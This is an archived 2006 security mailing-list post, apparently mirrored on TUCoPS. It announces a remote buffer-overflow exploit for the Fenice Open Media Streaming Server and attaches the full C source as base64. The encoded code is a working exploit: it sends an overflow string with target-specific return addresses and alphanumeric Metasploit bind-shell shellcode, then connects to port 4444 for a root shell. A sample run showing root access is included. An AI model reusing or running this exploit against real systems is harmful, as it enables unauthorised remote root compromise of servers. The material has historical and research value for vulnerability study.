TUCoPS :: HP Unsorted F :: b06-1858.htm

Fenice - open media streaming server remote bof exploit
Fenice - Open Media Streaming Server remote BOF exploit
Fenice - Open Media Streaming Server remote BOF exploit



------=_20060425235545_87727
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable


the attched source code contains the exploit for the recent
vulnerability reported in Fenice - Open Media Streaming Server by Luigi
Auriemma. the vulnerability is still remained unpatched.
so the software users should shutdown their software till a patch is
released by vender.

Regards
c0d3r of IHS
Network Security Researcher
------=_20060425235545_87727
Content-Type: application/octet-stream; name="fenice.c"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="fenice.c"

LyoNCglJSFMgSXJhbiBIb21lbGFuZCBTZWN1cml0eSBwdWJsaWMgc291cmNlIGNvZGUNCglGZW5p
Y2UgLSBPcGVuIE1lZGlhIFN0cmVhbWluZyBTZXJ2ZXIgcmVtb3RlIEJPRiBleHBsb2l0DQoJYXV0
aG9yIDogYzBkM3IgImthdmVoIHJhemF2aSIgYzBkM3JAaWhzdGVhbS5jb20NCglwYWNrYWdlIDog
ZmVuaWNlLTEuMTAudGFyLmd6IGFuZCBwcm9sbHkgcHJpb3IgdmVyc2lvbnMNCgl3b3JrYXJvdW5k
IDogdXBkYXRlIGFmdGVyIHBhdGNoIHJlbGVhc2UNCglhZHZpc29yeSA6IGh0dHA6Ly93d3cuc2Vj
dXJpdHlmb2N1cy5jb20vYmlkLzE3Njc4DQoJY29tcGFueSBhZGRyZXNzIDogaHR0cDovL3N0cmVh
bWluZy5wb2xpdG8uaXQvc2VydmVyDQoJdGltZWxpbmUgOg0KCTIzIEFwciAyMDA2IDogdnVsbmVy
YWJpbGl0eSByZXBvcnRlZCBieSBMdWlnaSBBdXJpZW1tYQ0KCTI1IFNlcCAyMDA2IDogSUhTIGV4
cGxvaXQgcmVsZWFzZWQgDQoJZXhwbG9pdCBmZWF0dXJlcyA6DQoJMSkgYSBnbG9iYWwgb2Zmc2V0
IA0KCTIpIHJlbGlhYmxlIG1ldGFzcGxvaXQgc2hlbGxjb2RlIA0KCTMpIGF1dG9jb25uZWN0IHRv
IHNoZWxsDQoJYmFkIGNoYXJzICA6IDB4MDAgMHgwNSBlbmNvZGVyIDogUGV4QWxwaGFOdW0gDQoJ
Y29tcGlsZWQgd2l0aCBnY2MgdW5kZXIgTGludXggOiBnY2MgZmVuaWNlLmMgLW8gZmVuaWNlIA0K
DQogICoqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioq
KioqKioqKioqDQoJIA0KCUV4cGxvaXRhdGlvbiBNZXRob2QgOiBsaW51eC1nYXRlLnNvLjENCgkg
DQoJdGhlIHJlZnJlbmNlIHdyaXR0ZW4gYnkgaXppayBjb3VsZCBiZSBkb3dubG9hZGVkIGZyb20g
bWlsdzBybS4NCglhZnRlciBzb21lIHJlc2VhcmNoIEkgcmVhbGl6ZWQgdGhhdCB0aGUgb2Zmc2V0
IGlzIHZlcnkgc3RhYmxlDQoJYXJvdW5kIDIuNiBrZXJuZWxzIGNvbXBpbGVkIGZyb20gc291cmNl
LiB0aGUgVkEgcGF0Y2ggd2lsbA0KCWVhc2lseSBnZXQgYnlwYXNzZWQuIGlmIHlvdSB3YW50IHRv
IGV4cGxvaXQgMi40IGtlcm5lbHMgDQoJeW91IGNhbiBqdW1wIGRpcmVjdGx5IHRvIHRoZSBzaGVs
bGNvZGUgLCB0aGVyZSBpc24ndCBhbnkNCglzdGFjayByYW5kb21pemF0aW9uIGZvciBzdXJlIGlu
IDIuNC4qIGJ5IGRlZmF1bHQuDQoJdGhlIG9mZnNldCBvbiAyLjYuMTMuMiBhbmQgMi42LjE1LjYg
Y29tcGlsZWQgd2l0aCBhbWQ2NCBmbGFnDQoJKHNsYWNrd2FyZSAxMC4yKSwgYWxzbyBvbiAyLjYu
MTUuNCBjb21waWxlZCB3aXRoIGkzODYgZmxhZyANCgkoRmVkb3JhIGNvcmUgMikgd2FzIHNhbWUu
IG9uIGRlZmF1bHQgaW5zdGFsbGF0aW9uIG9mIGZjMyB0aGUNCglsaW51eC1nYXRlLnNvLjEgaGFz
IG51bGwgYXQgdGhlIGZpcnN0ICwgc28gdGhpbmsgb2YgYW5vdGhlciANCgl3YXkgdG8ganVtcCB0
byB0aGUgc2hlbGxjb2RlLg0KDQogICoqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioq
KioqKioqKioqKioqKioqKioqKioqKioqKioqDQoNCglncmVldGluZyB0byA6DQoNCgl3d3cuaWhz
dGVhbS5jb20gICAgICAgdGhlIHRlYW0gLCBMb3JEIGFuZCBOVCANCgl3d3cuaWhzdGVhbS5uZXQg
ICAgICAgZW5nbGlzaCB2ZXJzaW9uICwNCgl3d3cuYzBkM3Iub3JnICAgICAgICAgbXkgaG9tZSA6
KQ0KCXd3dy51bmRlcmdyb3VuZC5pciAgICBmcmllbmRzIHdobyBhcmUgcGFydGljaXBhdGluZyBp
biB0aGUgZm9ydW1zDQoJd3d3LmV4cGxvaXRkZXYuY29tICAgIEphbWllIGFuZCBCZW4gLCB0aG9z
ZSB0aW1lcyBhcmUgbm93IGxlZ2VuZA0KCXd3dy5taWx3MHJtLmNvbSAgICAgICBzdHIwa2UgLCBr
ZWVwIHRoZSBnb29kIGpvYiBnb2luZw0KDQovKg0KLyoNCg0KW2MwZDNyXSQgZ2NjIGZlbmljZS5j
IC1vIGZlbmljZQ0KW2MwZDNyXSQgLi9mZW5pY2UgMTI3LjAuMC4xIDU1NCAwDQoNCi0tLS0tLS0t
IGZlbmljZSAtIE9wZW4gTWVkaWEgU3RyZWFtaW5nIFByb2plY3QgcmVtb3RlIEJPRiBleHBsb2l0
DQotLS0tLS0tLSBjb3B5cmlnaHRlZCBieSBjMGQzciBvZiBJSFMgMjAwNg0KDQpbK10gVGFyZ2V0
aW5nIHNsYWNrd2FyZSAxMC4yDQpbK10gU2hlbGxjb2RlIHNpemUgOiAzMjkgYnl0ZXMNClsrXSBC
dWlsZGluZyBvdmVyZmxvdyBzdHJpbmcNClsrXSBhdHRhY2tpbmcgaG9zdCAxMjcuMC4wLjENClsr
XSBwYWNrZXQgc2l6ZSA9IDc1MCBieXRlDQpbK10gY29ubmVjdGVkDQpbK10gc2VuZGluZyB0aGUg
b3ZlcmZsb3cgc3RyaW5nDQpbK10gZXhwbG9pdCBzZW50IHN1Y2Nlc3NmdWxseSB0byAxMjcuMC4w
LjENClsrXSB0cnlpbmcgdG8gZ2V0IHNoZWxsDQpbK10gY29ubmVjdGluZyB0byAxMjcuMC4wLjEg
b24gcG9ydCA0NDQ0DQpbK10gdGFyZ2V0IGV4cGxvaXRlZCBzdWNjZXNzZnVsbHkNClsrXSBEcm9w
cGluZyBpbnRvIHNoZWxsDQoNCnVpZD0wKHJvb3QpIGdpZD0wKHJvb3QpIGdyb3Vwcz0wKHJvb3Qp
LDEoYmluKSwyKGRhZW1vbiksMyhzeXMpLDQoYWRtKSw2KGRpc2spLDEwKHdoZWVsKSwxMShmbG9w
cHkpDQpMaW51eCBjMGQzciAyLjYuMTUuNiAjNCBTTVAgUFJFRU1QVCBTYXQgQXByIDE1IDIzOjIy
OjM0IEFLRFQgMjAwNiBpNjg2IHVua25vd24gdW5rbm93biBHTlUvTGludXgNCg0KDQoqLw0KDQoN
Cg0KI2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8c3Rk
bGliLmg+DQojaW5jbHVkZSA8c3lzL3R5cGVzLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0K
I2luY2x1ZGUgPHN5cy90aW1lLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxuZXRp
bmV0L2luLmg+DQojaW5jbHVkZSA8YXJwYS9pbmV0Lmg+DQojaW5jbHVkZSA8ZXJybm8uaD4NCiNk
ZWZpbmUgaW5jIDB4NDENCiNkZWZpbmUgc2l6ZSA3NTANCg0KDQp2b2lkIGdvdHNoZWxsKGludCBu
ZXdfc29jayk7DQp2b2lkIHVzYWdlKCk7DQoNCi8vIG1ldGFzcGxvaXQuY29tIHNoZWxsY29kZSAt
IGJhZGNoYXJzID0gMHgwMCAweDA1DQovLyBsaW51eF9pYTMyX2JpbmQgLSAgTFBPUlQ9NDQ0NCBT
aXplPTMyOSBFbmNvZGVyPVBleEFscGhhTnVtDQovLyBJIGhhZCBhIGJpdCBkaWZmaWN1bHR5IHRv
IGV4ZWN1dGUgbXkgc2hlbGxjb2RlIGJlY2F1c2Ugc29tZSBjaGFycw0KLy8gYmFkbHkgaW50ZXJw
cmV0ZWQgYnkgZmVuaWNlICwgYW55d2F5IHZpdmEgbWV0YXNwbG9pdCAhDQoNCnVuc2lnbmVkIGNo
YXIgc2hlbGxjb2RlW10gPQ0KDQoiXHhlYlx4NTlceDU5XHg1OVx4NTlceGViXHg1OVx4NTlceDU5
XHg1OVx4NTlceDU5XHg1OVx4NTlceDU5XHg1OSINCiJceDU5XHg1OVx4NTlceDU5XHg1OVx4NTlc
eDU5XHg1OVx4NTlceDU5XHg1OVx4NTlceDU5XHg1OVx4NTlceDU5Ig0KIlx4NTlceDU5XHg1OVx4
NTlceDU5XHg1OVx4NTlceDU5XHg1OVx4NTlceDU5XHg1OVx4NTlceDU5XHg1OVx4NTkiDQoiXHg1
OVx4NTlceDU5XHg1OVx4NTlceDU5XHg1OVx4NTlceDU5XHg1OVx4NTlceDU5XHg1OVx4NTlceDU5
XHg1OSINCiJceDU5XHg1OVx4NTlceDU5XHg1OVx4NTlceDU5XHg1OVx4NTlceDU5XHg1OVx4NTlc
eDU5XHg1OVx4NTlceDU5Ig0KIlx4NTlceDU5XHg1OVx4NTlceDU5XHg1OVx4NTlceDU5XHg1OVx4
NTlceDU5XHhlOFx4YTRceGZmXHhmZlx4ZmYiDQoiXHg0Zlx4NDlceDQ5XHg0OVx4NDlceDQ5XHg0
OVx4NTFceDVhXHg1Nlx4NTRceDU4XHgzNlx4MzNceDMwXHg1NiINCiJceDU4XHgzNFx4NDFceDMw
XHg0Mlx4MzZceDQ4XHg0OFx4MzBceDQyXHgzM1x4MzBceDQyXHg0M1x4NTZceDU4Ig0KIlx4MzJc
eDQyXHg0NFx4NDJceDQ4XHgzNFx4NDFceDMyXHg0MVx4NDRceDMwXHg0MVx4NDRceDU0XHg0Mlx4
NDQiDQoiXHg1MVx4NDJceDMwXHg0MVx4NDRceDQxXHg1Nlx4NThceDM0XHg1YVx4MzhceDQyXHg0
NFx4NGFceDRmXHg0ZCINCiJceDQxXHg0M1x4NGJceDRkXHg0M1x4NDVceDQzXHg1NFx4NDNceDQ1
XHg0Y1x4NTZceDQ0XHg1MFx4NGNceDM2Ig0KIlx4NDhceDM2XHg0YVx4NTVceDQ5XHg0OVx4NDlc
eDU4XHg0MVx4NGVceDRkXHg0Y1x4NDJceDU4XHg0OFx4NDkiDQoiXHg0M1x4NTRceDQ0XHg0NVx4
NDhceDM2XHg0YVx4NDZceDQxXHg0MVx4NGVceDM1XHg0OFx4MzZceDQzXHgzNSINCiJceDQ5XHgz
OFx4NDFceDRlXHg0Y1x4NDZceDQ4XHg0Nlx4NGFceDM1XHg0Mlx4MzVceDQxXHgzNVx4NDhceDQ1
Ig0KIlx4NDlceDQ4XHg0MVx4NGVceDRkXHg0Y1x4NDJceDQ4XHg0Mlx4NGJceDQ4XHgzNlx4NDFc
eDRkXHg0M1x4NGUiDQoiXHg0ZFx4NGNceDQyXHg1OFx4NDRceDQ1XHg0NFx4NTVceDQ4XHg0NVx4
NDNceDU0XHg0OVx4MzhceDQxXHg0ZSINCiJceDQyXHg0Ylx4NDhceDQ2XHg0ZFx4NGNceDQyXHg1
OFx4NDNceDU5XHg0Y1x4NTZceDQ0XHgzMFx4NDlceDU1Ig0KIlx4NDJceDRiXHg0Zlx4MzNceDRk
XHg0Y1x4NDJceDQ4XHg0OVx4MzRceDQ5XHgzN1x4NDlceDRmXHg0Mlx4NGIiDQoiXHg0Ylx4MzBc
eDQ0XHg1NVx4NGFceDQ2XHg0Zlx4NTJceDRmXHgzMlx4NDNceDQ3XHg0YVx4NDZceDRhXHg1NiIN
CiJceDRmXHg0Mlx4NDRceDU2XHg0OVx4MzZceDUwXHgzNlx4NDlceDQ4XHg0M1x4NGVceDQ0XHg1
NVx4NDNceDU1Ig0KIlx4NDlceDU4XHg0MVx4NGVceDRkXHg0Y1x4NDJceDQ4XHg1YSI7DQoNCmNo
YXIgc2xhY2sgICAgIFtdID0gIlx4NzdceGU3XHhmZlx4ZmYiOyAvLyBzbGFja3dhcmUgMTAuMiAy
LjYuMTUuNiANCmNoYXIgRkMyXzJfNl8xNVtdID0gIlx4NzdceGU3XHhmZlx4ZmYiOwkvLyBGZWRv
cmEgY29yZSAyICwgMi42LjE1LjQNCmNoYXIgZGVidWcgICAgIFtdID0gIlx4ZGRceGRkXHhkZFx4
ZGQiOwkvLyBkZWJ1Z2dpbmcgcHVycG9zZQ0KY2hhciByZXRbNF07DQpjaGFyIGdldCBbXSA9ICJc
eDQ3XHg0NVx4NTRceDIwXHgyZiI7DQpzdHJ1Y3QgaG9zdGVudCAqaHA7DQpzdHJ1Y3Qgc29ja2Fk
ZHJfaW4gY29uOw0KdW5zaWduZWQgaW50IHJjLHJjMixsZW49MTYsc29jayxzb2NrMixvcyxhZGRy
LHBvcnQ7DQpjaGFyIGJ1ZmZlcltzaXplXTsNCg0KLy8gZ290c2hlbGwgaXMgZnJvbSBqYW1pZSAo
ZGFya2R1ZDMpIHJlbW90ZSBleHBsb2l0IHNhbXBsZSANCi8vIHdpdGggYSBiaXQgY2hhbmdlDQoN
CnZvaWQgZ290c2hlbGwoaW50IHNvY2spew0KDQoJZmRfc2V0IGZkX3JlYWQ7DQoJY2hhciBidWZm
WzEwMjRdOw0KCWNoYXIgY21kWzEwMF0gPSAiaWQ7dW5hbWUgLWFcbiI7DQoJaW50IG47DQoNCglG
RF9aRVJPKCZmZF9yZWFkKTsNCglGRF9TRVQoc29jaywgJmZkX3JlYWQpOw0KCUZEX1NFVCgwLCAm
ZmRfcmVhZCk7DQoJc2VuZChzb2NrLCBjbWQsIHN0cmxlbihjbWQpLCAwKTsNCgl3aGlsZSgxKSB7
DQoJCUZEX1NFVChzb2NrLCZmZF9yZWFkKTsNCgkJRkRfU0VUKDAsJmZkX3JlYWQpOw0KCQlpZihz
ZWxlY3Qoc29jaysxLCZmZF9yZWFkLE5VTEwsTlVMTCxOVUxMKTwwKSBicmVhazsNCgkJaWYoIEZE
X0lTU0VUKHNvY2ssICZmZF9yZWFkKSApIHsNCgkJCWlmKChuPXJlY3Yoc29jayxidWZmLHNpemVv
ZihidWZmKSwwKSk8MCl7DQoJCQlmcHJpbnRmKHN0ZGVyciwgIkVPRlxuIik7DQoJCQlleGl0KDIp
Ow0KCQkJfQ0KCQkJaWYod3JpdGUoMSxidWZmLG4pPDApYnJlYWs7DQoJCX0NCgkJaWYgKCBGRF9J
U1NFVCgwLCAmZmRfcmVhZCkgKSB7DQoJCQlpZigobj1yZWFkKDAsYnVmZixzaXplb2YoYnVmZikp
KTwwKXsNCgkJCQlmcHJpbnRmKHN0ZGVyciwiRU9GXG4iKTsNCgkJCQlleGl0KDIpOw0KCQkJfQ0K
CQkJaWYoc2VuZChzb2NrLGJ1ZmYsbiwwKTwwKSBicmVhazsNCgkJfQ0KCQl1c2xlZXAoMTApOw0K
CX0NCglmcHJpbnRmKHN0ZGVyciwiQ29ubmVjdGlvbiBhYm9ydGVkLCBzZWxlY3QgZmFpbGVkKClc
biIpOw0KCWV4aXQoMCk7DQp9DQoNCnZvaWQgdXNhZ2UoY2hhciAqYXJnKXsNCglwcmludGYoIi0t
LS0tLS0tIHVzYWdlICAgIDogJXMgaG9zdF9vcl9pcCBwb3J0IHRhcmdldFxuIixhcmcpOw0KCXBy
aW50ZigiLS0tLS0tLS0gZXhhbXBsZSAgOiAlcyBsb2NhbGhvc3QgNTU0IDBcbiIsYXJnKTsNCglw
cmludGYoIi0tLS0tLS0tIHRhcmdldCAwIDogc2xhY2t3YXJlIDEwLjIgbGludXgtMi42LjE1LjYg
ICAgIDogMFxuIik7DQoJcHJpbnRmKCItLS0tLS0tLSB0YXJnZXQgMSA6IEZlZG9yYSBjb3JlIDIg
IGxpbnV4LTIuNi4xNS40ICAgICA6IDFcbiIpOw0KCXByaW50ZigiLS0tLS0tLS0gdGFyZ2V0IDIg
OiBkZWJ1ZwkJCSAgICAgIDogMlxuXG4iKTsNCglleGl0KC0xKSA7DQp9DQoNCmludCBtYWluKGlu
dCBhcmdjLGNoYXIgKiphcmd2KXsNCg0KCXByaW50ZigiXG4tLS0tLS0tLSBmZW5pY2UgLSBPcGVu
IE1lZGlhIFN0cmVhbWluZyBQcm9qZWN0IHJlbW90ZSBCT0YgZXhwbG9pdFxuIik7DQoJcHJpbnRm
KCItLS0tLS0tLSBjb3B5cmlnaHRlZCBieSBjMGQzciBvZiBJSFMgMjAwNlxuXG4iKTsNCglpZihh
cmdjICE9IDQpDQoJCXVzYWdlKGFyZ3ZbMF0pOw0KCW9zID0gKHVuc2lnbmVkIHNob3J0KWF0b2ko
YXJndlszXSk7DQoJc3dpdGNoKG9zKXsNCgkJY2FzZSAwOg0KCQlzdHJjYXQocmV0LHNsYWNrKTsN
CgkJcHJpbnRmKCJbK10gVGFyZ2V0aW5nIHNsYWNrd2FyZSAxMC4yXG4iKTsNCgkJYnJlYWs7DQoJ
CWNhc2UgMToNCgkJc3RyY2F0KHJldCxGQzJfMl82XzE1KTsNCgkJcHJpbnRmKCJbK10gVGFyZ2V0
aW5nIGZlZG9yYSBjb3JlIDIgXG4iKTsNCgkJYnJlYWs7DQoJCWNhc2UgMjoNCgkJc3RyY2F0KHJl
dCxkZWJ1Zyk7IA0KCQlwcmludGYoIlsrXSBEZWJ1Z2dpbmdcbiIpOw0KCQlicmVhazsNCgkJZGVm
YXVsdDoNCgkJcHJpbnRmKCJcblstXSBUaGlzIHRhcmdldCBkb2VzbnQgZXhpc3QgaW4gdGhlIGxp
c3RcblxuIik7DQoNCglleGl0KC0xKTsNCgl9DQoJcHJpbnRmKCJbK10gU2hlbGxjb2RlIHNpemUg
OiAlZCBieXRlc1xuIixzaXplb2Yoc2hlbGxjb2RlKS0xKTsNCglwcmludGYoIlsrXSBCdWlsZGlu
ZyBvdmVyZmxvdyBzdHJpbmdcbiIpOw0KDQoJLy8gaGVhcnQgb2YgZXhwbG9pdA0KDQoJbWVtc2V0
KGJ1ZmZlcixpbmMsc2l6ZSk7DQoJbWVtY3B5KGJ1ZmZlcixnZXQsNSk7DQoJbWVtY3B5KGJ1ZmZl
cis1KzM2MSxyZXQsNCk7DQoJbWVtY3B5KGJ1ZmZlcis1KzM2MSs0KzEwLHNoZWxsY29kZSxzaXpl
b2Yoc2hlbGxjb2RlKS0xKTsNCglidWZmZXJbc2l6ZV0gPSAwOw0KDQoJLy8gRU8gaGVhcnQgb2Yg
ZXhwbG9pdA0KDQoJaHAgPSBnZXRob3N0YnluYW1lKGFyZ3ZbMV0pOw0KCWlmICghaHApDQoJCWFk
ZHIgPSBpbmV0X2FkZHIoYXJndlsxXSk7DQoJaWYgKCghaHApICAmJiAoYWRkciA9PSBJTkFERFJf
Tk9ORSkgKXsNCgkJcHJpbnRmKCJbLV0gdW5hYmxlIHRvIHJlc29sdmUgJXNcbiIsYXJndlsxXSk7
DQoJCWV4aXQoLTEpOw0KCX0NCglzb2NrPXNvY2tldChBRl9JTkVULFNPQ0tfU1RSRUFNLElQUFJP
VE9fVENQKTsNCglpZiAoIXNvY2speyANCgkJcHJpbnRmKCJbLV0gc29ja2V0KCkgZXJyb3IuLi5c
biIpOw0KCQlleGl0KC0xKTsNCgl9DQoJaWYgKGhwICE9IE5VTEwpDQoJCW1lbWNweSgmKGNvbi5z
aW5fYWRkciksaHAtPmhfYWRkcixocC0+aF9sZW5ndGgpOw0KCWVsc2UNCgkJY29uLnNpbl9hZGRy
LnNfYWRkciA9IGFkZHI7DQoJaWYgKGhwKQ0KCQljb24uc2luX2ZhbWlseSA9IGhwLT5oX2FkZHJ0
eXBlOw0KCWVsc2UNCgkJY29uLnNpbl9mYW1pbHkgPSBBRl9JTkVUOw0KCXBvcnQ9YXRvaShhcmd2
WzJdKTsNCgljb24uc2luX3BvcnQ9aHRvbnMocG9ydCk7DQoJcHJpbnRmKCJbK10gYXR0YWNraW5n
IGhvc3QgJXNcbiIgLCBhcmd2WzFdKSA7DQoJc2xlZXAoMSk7DQoJcHJpbnRmKCJbK10gcGFja2V0
IHNpemUgPSAlZCBieXRlXG4iICwgc2l6ZW9mKGJ1ZmZlcikpOw0KCXJjPWNvbm5lY3Qoc29jaywg
KHN0cnVjdCBzb2NrYWRkciAqKSAmY29uLCBzaXplb2YgKHN0cnVjdCBzb2NrYWRkcl9pbikpOw0K
CWlmKCFyYyl7DQoJCXNsZWVwKDEpIDsNCgkJcHJpbnRmKCJbK10gY29ubmVjdGVkXG4iKSA7DQoJ
CXByaW50ZigiWytdIHNlbmRpbmcgdGhlIG92ZXJmbG93IHN0cmluZ1xuIikgOw0KCQlzZW5kKHNv
Y2ssYnVmZmVyLHN0cmxlbihidWZmZXIpLDApOw0KCQlzZW5kKHNvY2ssIlxuIiwxLDApOw0KCQlz
bGVlcCgxKSA7DQoJCXNlbmQoc29jaywiXG4iLDEsMCk7DQoJCXNsZWVwKDEpIDsNCgkJcHJpbnRm
KCJbK10gZXhwbG9pdCBzZW50IHN1Y2Nlc3NmdWxseSB0byAlcyBcbiIgLCBhcmd2WzFdKTsNCgkJ
cHJpbnRmKCJbK10gdHJ5aW5nIHRvIGdldCBzaGVsbFxuIik7DQoJCXByaW50ZigiWytdIGNvbm5l
Y3RpbmcgdG8gJXMgb24gcG9ydCA0NDQ0XG4iLGFyZ3ZbMV0pOw0KCQlzb2NrPXNvY2tldChBRl9J
TkVULFNPQ0tfU1RSRUFNLElQUFJPVE9fVENQKTsNCgkJaWYgKCFzb2NrKXsgDQoJCQlwcmludGYo
IlstXSBzb2NrZXQoKSBlcnJvci4uLlxuIik7DQoJCQlleGl0KC0xKTsNCgkJfQ0KCQljb24uc2lu
X2ZhbWlseSA9IEFGX0lORVQ7DQoJCWNvbi5zaW5fcG9ydD1odG9ucyg0NDQ0KTsNCgkJcmMyPWNv
bm5lY3Qoc29jaywgKHN0cnVjdCBzb2NrYWRkciAqKSAmY29uLCBzaXplb2YgKHN0cnVjdCBzb2Nr
YWRkcl9pbikpOw0KCQlpZihyYzIgIT0gMCkgew0KCQlwcmludGYoIlstXSBleHBsb2l0IHByb2Jh
Ymx5IGZhaWxlZFxuIik7DQoJCWV4aXQoLTEpOw0KCQl9DQoJCWlmKCFyYzIpew0KCQkJcHJpbnRm
KCJbK10gdGFyZ2V0IGV4cGxvaXRlZCBzdWNjZXNzZnVsbHlcbiIpOw0KCQkJcHJpbnRmKCJbK10g
RHJvcHBpbmcgaW50byBzaGVsbFxuXG4iKTsNCgkJCWdvdHNoZWxsKHNvY2spOw0KCQl9DQoJfQ0K
fQ0K
------=_20060425235545_87727--


TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH